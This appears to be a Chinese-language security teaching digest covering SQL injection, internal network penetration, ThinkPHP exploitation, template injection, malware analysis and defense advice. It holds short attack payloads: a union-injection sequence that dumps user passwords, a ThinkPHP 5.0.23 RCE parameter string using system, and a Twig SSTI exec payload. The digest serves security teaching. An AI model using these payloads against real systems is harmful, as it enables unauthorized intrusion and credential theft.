专注Web及移动安全[红日安全93期]
字数 2198 2025-08-18 11:38:49
Web及移动安全综合教学文档
一、安全动态
1.1 安全学习与工作阶段
- 初级阶段:学习基础安全概念、网络协议、操作系统原理
- 中级阶段:掌握渗透测试方法论、常见漏洞原理与利用
- 高级阶段:深入研究特定领域(如二进制安全、APT攻击)
- 专家阶段:安全架构设计、安全产品研发、安全战略规划
1.2 安全工程师面试要点
- 基础网络知识(OSI七层模型、TCP/IP协议栈)
- 常见漏洞原理与防御(SQL注入、XSS、CSRF等)
- 渗透测试流程与方法论
- 安全设备与工具使用经验
- 安全编码规范与最佳实践
1.3 漏洞周报分析要点
- CVE编号与漏洞等级评估
- 受影响系统/软件版本
- 漏洞利用条件与影响
- 官方补丁与临时缓解措施
二、Web安全技术
2.1 MySQL手工注入
2.1.1 Union查询注入流程
- 判断注入点:
' and 1=1/' and 1=2 - 确定字段数:
order by n逐步测试 - 获取数据库信息:
union select 1,2,database() - 获取表名:
union select 1,2,table_name from information_schema.tables where table_schema=database() - 获取列名:
union select 1,2,column_name from information_schema.columns where table_name='users' - 获取数据:
union select 1,username,password from users
2.1.2 SQLi-Labs通关要点
- 1-10关:基础注入技巧
- 11-20关:POST型注入与报错注入
- 21-30关:Cookie注入与二次注入
- 31-40关:宽字节注入与堆叠查询
- 41-65关:盲注与高级绕过技巧
三、渗透测试技术
3.1 内网渗透技术
-
SMB存活主机发现:
- 使用nmap扫描:
nmap -p445 192.168.1.0/24 - CrackMapExec工具:
cme smb 192.168.1.0/24
- 使用nmap扫描:
-
端口转发技术:
- Lcx工具使用:
lcx -listen 51 3389/lcx -slave 攻击机IP 51 目标IP 3389 - SSH隧道:
ssh -L 本地端口:目标IP:目标端口 user@跳板机
- Lcx工具使用:
-
域渗透中继攻击:
- 利用Responder捕获NTLM哈希
- 使用Impacket的ntlmrelayx.py进行中继
- 攻击条件:SMB签名未启用
3.2 实战案例技术
-
Linux木马清除:
- 检查异常进程:
ps auxf - 检查定时任务:
crontab -l - 检查启动项:
/etc/rc.local,/etc/init.d/ - 检查网络连接:
netstat -antp - 清除后门文件并修复权限
- 检查异常进程:
-
从JS泄露到Webshell:
- 分析前端JS代码寻找敏感接口
- 利用未授权访问或弱认证获取权限
- 通过文件上传或模板注入获取Webshell
-
ThinkPHP渗透:
- 利用已知漏洞如5.0.23 RCE
- 检查
/index.php?s=captcha路由 - 利用
method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=命令
四、安全工具使用
4.1 信息收集工具
- DMitry:
- 功能:WHOIS查询、子域名扫描、端口扫描、邮件收集
- 命令:
dmitry -wnpb 目标域名
4.2 网络嗅探工具
- sniffglue:
- 特点:多线程、安全导向的嗅探器
- 使用:
sniffglue -i eth0 -p "port 80 or port 443"
4.3 容器扫描工具
- Trivy:
- 扫描内容:操作系统包、语言依赖漏洞
- 命令:
trivy image 镜像名称
五、代码审计技术
5.1 SSTI漏洞审计
-
常见CMS中的SSTI:
- Flask/Jinja2:
{{ config.items() }} - Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Velocity:
#set($exec="恶意代码")$exec
- Flask/Jinja2:
-
审计要点:
- 查找模板渲染函数调用点
- 检查用户输入是否直接传入模板
- 测试模板注入payload
六、恶意代码分析
6.1 恶意代码对抗技术
-
常见对抗手段:
- 反调试技术(IsDebuggerPresent)
- 代码混淆与加密
- 环境检测(虚拟机、沙箱)
- 时间延迟执行
-
分析方法:
- 静态分析:字符串、导入表、控制流
- 动态分析:沙箱、行为监控
- 反混淆:IDAPython脚本、动态脱壳
七、实战防御建议
-
Web应用防护:
- 输入验证与输出编码
- 最小权限原则
- 定期安全扫描与渗透测试
-
内网安全:
- 启用SMB签名
- 网络分段与隔离
- 监控异常认证行为
-
应急响应:
- 建立完整的事件响应流程
- 保留系统镜像与日志
- 事后溯源分析与加固
本教学文档涵盖了从基础到进阶的Web及移动安全知识,包括漏洞原理、渗透技术、工具使用和防御策略,可作为安全学习和实践的参考指南。